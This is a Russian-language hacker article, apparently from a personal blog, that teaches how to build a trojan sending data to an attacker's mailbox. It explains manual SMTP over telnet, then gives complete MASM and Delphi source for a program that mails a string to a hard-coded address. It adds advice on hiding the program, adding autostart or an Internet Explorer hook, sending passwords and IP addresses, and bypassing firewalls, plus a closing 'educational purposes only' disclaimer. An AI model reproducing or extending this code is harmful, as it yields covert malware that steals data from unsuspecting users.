• Партнер

  • Tроян. По моему мнению, это очень маленькая
    прога, способная отсылать некоторую
    информацию на нужный e-mail и(или) закачивать и
    запускать указанные файл(ы). В этой статье я
    предоставлю некоторую информацию - уже,
    наверно, всем известную, но ... Итак, начну.
    Письма отсылать и принимать можно не только
    с помощью почтовой программы, а и с помощью
    терминала удаленного доступа, посылая
    серверу команды. Все команды POP3 и SMTP
    серверов приводить не буду - для получения
    этой инфы есть поисковые системы, но о
    необходимом минимуме расскажу.

    Первое. Пусть у нас есть некоторая
    сформированная строка (пароли, IP-адрес и т.п.)
    и нам нужно ее отправить по почте. Само
    письмо состоит из двух частей: заголовок (header)
    и само сообщение. В хидере необходимо
    указать от кого письмо, кому, кодировка,
    мэйлер и т.п. Сам сервак подставит туда дату,
    IP-адрес и прочую ненужную лабуду. Если для
    кого-то сказанное выше является
    откровением, то можно посмотреть всю
    информацию о письме с помощью любого
    почтового клиента. Для написания этой
    статьи я открыл почтовый ящик в ukr.net под
    названием dndanil@ukr.net. SMTP сервак там freemail.ukr.net.
    Отправка почты осуществляется по 25 порту.
    Запускаем telnet (для маздая я пользуюсь SecureCRT
    с http://www.vandyke.com).
    В поле сервера пишем freemail.ukr.net, в поле порт -
    25. Сервак нам должен написать "250 ...".
    Теперь с ним надо поздороваться - он будет
    наш IP-адрес определять. Набираем "helo yahoo.com".
    Параметр - реально существующий адрес. Он
    нам опять что-то ответит. Как я уже говорил,
    информацию о командах и сообщениях сервака
    можно найти через поиск. Теперь нужно
    сказать серверу от кого письмо. Набираем
    "MAIL FROM: dndanil@ukr.net". Здесь нужно указать
    любой почтовый адрес, но он должен быть
    реально существующим.

    Это совсем не значит, что письмо сразу
    станет анонимным - в хидере будет наш
    реальный IP-адрес. Для анонимного письма
    нужно использовать анонимный SMTP, писать
    бота, подделывать хидер (так, чтобы наш
    адрес был как пересылочный) и т.п. На 100% это
    все равно не спасет - все ведут логи. Для
    получения существующего мыла заходим на
    "Новый пользователь" и пишем какой-нибудь
    стандарт "vasiliy@..." - если cервер напишет,
    что такое имя уже есть, то .... Кстати,
    автоматизировав этот процесс, можно
    получить лист рассылки сервака по словарю.
    Это я отвлекся.

    Продолжим. Пишем "RCPT TO: dndanil@ukr.net" -
    кому письмо. Потом "DATA". Сервак напишет,
    что введите данные и закончите ".".
    Потом пишем тело нашего письма ("Hello. Test").
    На новой строке ставим точку. Посылаем
    команду "QUIT". Письмо отправлено. Кстати,
    после каждой команды надо нажимать "Enter".
    Письмо, конечно, можно было сделать более
    навороченным - указать кодировку и т.п., но
    зачем? После всего этого закрываем телнет и
    получаем почту с аккаунта dndanil@ukr.net. Там
    должно быть наше письмо. Нужно
    автоматизировать этот процесс. Я приведу
    сорцы на MASM и Delphi. Если что, то переписать на
    Сях проблем не должно возникнуть. 

    Вот файл "troyan.asm" :

    .486
    .model flat,stdcall
    option casemap:none

    include \masm32\include\windows.inc
    include \masm32\include\masm32.inc
    include \masm32\include\wsock32.inc 
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\wsock32.lib
    includelib \masm32\lib\masm32.lib 
    ; ---------------------------
    ; Проца посимвольной отправки данных
    Mys PROTO :DWORD
    ; ---------------------------
    .DATA 
    HeloStr db "HELO ukr.net",13,10,0,0 ; Поздороваться с
    сервером
    FromStr db "MAIL FROM: dndanil@ukr.net",13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 
    ; От кого письмо. Куча нулей, чтобы в hex-редакторе
    изменять обратный адрес в exe файле.
    ; Система такая - открываем, ищем "MAIL FROM:
    dndanil@ukr.net", изменяем и в конце 13,10,0
    DataStr db "DATA",13,10,0
    QuitStr db "QUIT",13,10,0 
    EndStr db 13,10,".",13,10,0

    RcptStr db "RCPT TO: dndanil@ukr.net",13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
    ; Кому письмо. Куча нулей, чтобы в hex-редакторе
    изменять обратный адрес в exe файле.
    ; Система такая - открываем, ищем "RCPT TO:
    dndanil@ukr.net", изменяем и в конце 13,10,0
    MySmtp db "212.42.64.8",0
    ; Адрес SMTP сервера - сначала надо
    отпинговать "ping -a freemail.ukr.net" и ввести
    адрес 
    ; в виде xxx.xxx.xxx.xxx
    MyBuf db "Hi, I`m Troyan",13,10,0 ; Строка для
    отправки

    ; Для инициализации сокета
    wsadata WSADATA <>
    sin sockaddr_in <>
    Port dd 25

    ; ---------------------------
    .DATA? 
    sock dd ?
    buf db 255 dup (?)
    ; ---------------------------
    ; ---------------------------
    ; ---------------------------
    .CODE
    start: 
    ; Инициализируем сокет для соединения с
    212.42.64.8 - SMTP сервером
    invoke WSAStartup,101h,addr wsadata
    invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP
    mov sock,eax
    mov sin.sin_family,AF_INET
    invoke htons,Port
    mov sin.sin_port,ax 
    invoke inet_addr, addr MySmtp
    mov sin.sin_addr, eax 
    ; Соединение
    invoke connect, sock, addr sin ,sizeof sin 
    ; Получим от сервера ответ
    invoke recv, sock, addr buf, sizeof buf, 0 
    ; HELO SERVER 
    ; Запускаем процу посимвольной отправки
    строки
    invoke Mys, addr HeloStr
    ; Получим от сервера ответ
    invoke recv, sock, addr buf, sizeof buf, 0
    ; Выведем ответ сервера
    invoke MessageBox,0,addr buf, addr HeloStr, MB_OK

    ; MAIL TO:
    invoke Mys, addr FromStr
    invoke recv, sock, addr buf, sizeof buf, 0
    invoke MessageBox,0,addr buf, addr FromStr, MB_OK

    ; RCPT TO:
    invoke Mys, addr RcptStr
    invoke recv, sock, addr buf, sizeof buf, 0
    invoke MessageBox,0,addr buf, addr RcptStr, MB_OK

    ; DATA
    invoke Mys, addr DataStr
    invoke recv, sock, addr buf, sizeof buf, 0
    invoke MessageBox,0,addr buf, addr DataStr, MB_OK

    ; Отправка информации
    invoke Mys, addr MyBuf

    ; .
    invoke Mys, addr EndStr
    invoke recv, sock, addr buf, sizeof buf, 0
    invoke MessageBox,0,addr buf, addr EndStr, MB_OK
    ; QUIT
    invoke Mys, addr QuitStr
    invoke recv, sock, addr buf, sizeof buf, 0
    invoke MessageBox,0,addr buf, addr QuitStr, MB_OK

    ; Закрываем сокет
    invoke closesocket,sock

    ; Выходим
    invoke ExitProcess,eax

    ; ---------------------------
    ; Проца посимвольной отправки данных
    Mys proc SendStr : DWORD
    ; edi указывает на пришедшую строку
    mov edi, SendStr
    ; цикл перебора 
    .WHILE TRUE
    ; если конец строки - выход из цикла
    .BREAK .IF (byte ptr [edi] == 0 )
    ; отправка текущего символа
    invoke send, sock, edi, 1, 0
    ; следующий символ
    inc edi
    .ENDW
    ret
    Mys endp

    END start 

    После компиляции у нас должен появиться
    файл "troyan.exe". При запуске он отправит
    на dndanil@ukr.net через freemail.ukr.net (212.42.64.8)
    сообщение "Hi, I`m Troyan". При вызове каждой
    команды, прога будет высвечивать ответ
    сервера. Для полного скрытия проги нужно
    поубирать "invoke MessageBox,0,...". Теперь для
    написания небольшого трояна необходимо
    дописать формирование нужной строки для
    отправки, прописать автозапуск, запустить
    цикл раз в 5 минут или, например, поставить
    hook на запуск IE и т.п. Если ставить цикл, то
    можно задолбаться принимать одинаковые
    письма с сервака. Если ставить hook, то
    человек может Internet Explorer не пользоваться. Ну
    тут уже кто как придумает. Также можно
    написать конфигуратор - смотри комментарии
    об изменении "Кому" в исходниках.
    Теперь то же самое на Delphi.

    Вот файл "troyan_d.dpr" :

    program Troyan_d;
    uses Winsock;
    const
    RcptStr : String = 'dndanil@ukr.net';
    var
    wsadata: TWSADATA;
    sin: TSockAddrIn;
    sock: TSocket;
    MySmtp : String;
    MyBuf: String; // Строка для отправки
    iaddr: Integer;
    buf: array[0..255] of char;

    // Проца посимвольной отправки данных
    procedure Mys(str: String);
    var
    I: Integer;
    begin
    for I:=1 to Length(str) do if send(sock,str[I],1,0)=SOCKET_ERROR then exit;
    end;

    begin
    MyBuf:='Hi, I`m Troyan';
    MySmtp:='212.42.64.8';
    // Инициализируем сокет для соединения с
    212.42.64.8 - SMTP сервером
    WSAStartUp(257, wsadata);
    sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    sin.sin_family := AF_INET;
    htons(25);
    sin.sin_port := htons(25);
    iaddr:=inet_addr(PChar(MySmtp));
    sin.sin_addr.S_addr:=iaddr;
    // Соединение
    connect(sock,sin,sizeof(sin));
    // Получим от сервера ответ
    recv(sock,buf,sizeof(buf),0);
    // HELO SERVER
    // Запускаем процу посимвольной отправки
    строки
    Mys('HELO ukr.net'+#13+#10);
    // Получим от сервера ответ
    recv(sock,buf,sizeof(buf),0);

    // MAIL TO:
    Mys('MAIL FROM: '+RcptStr+#13+#10);
    recv(sock,buf,sizeof(buf),0);

    // RCPT TO:
    Mys('RCPT TO: '+RcptStr+#13+#10);
    recv(sock,buf,sizeof(buf),0);

    // DATA
    Mys('DATA'+#13+#10);
    recv(sock,buf,sizeof(buf),0);

    // Отправка информации
    Mys(MyBuf+#13+#10);

    // .
    Mys(#13+#10+'.'+#13+#10);
    recv(sock,buf,sizeof(buf),0);
    // QUIT
    Mys('QUIT'+#13+#10);
    recv(sock,buf,sizeof(buf),0);

    // Закрываем сокет
    closesocket(sock);

    // Выходим
    end.

    Второе. Предполагается, что я буду дальше
    развивать эту тему. Идеи есть такие:
    разобраться с firewall (посмотреть как основные
    из них хранят инфу о доверенных приложениях
    и вписывать туда свою прогу), рассмотреть
    закачку и запуск файла на сервере (функции
    "InternetOpen", "InternetCloseHandle", "InternetReadFile"
    ...) и т.д. и т.п. Если тема интересная, то
    пишите в отзывы.

    Web-страница программы : www.danil.dp.ua;
    Исходники, статьи : www.danil.dp.ua/troyan.zip.

    P.S. Статья и программа предоставлена в целях
    обучения и вся ответственность за
    использование ложится на твои хилые плечи.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии